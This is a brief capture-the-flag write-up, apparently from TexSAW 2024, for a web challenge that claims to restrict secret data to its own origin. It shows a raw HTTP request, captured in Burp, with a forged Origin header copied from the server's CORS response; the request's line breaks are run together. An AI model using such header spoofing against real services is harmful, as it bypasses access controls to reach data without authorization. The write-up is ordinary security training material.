We are at 3.23.56.243:9003. We are so secure that we only allow requests from our own origin to access secret data.

Checking out the page request in Burp, we find this line in the response:  
```yamlAccess-Control-Allow-Origin: https://texsaw2024.com```
So that's what our origin needs to be. Send the request to / to the Repeater and add in an Origin request header so that the request now looks like this:  
```yamlGET / HTTP/1.1Host: 3.23.56.243:9003Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Connection: closeOrigin: https://texsaw2024.com```
And we get the flag!
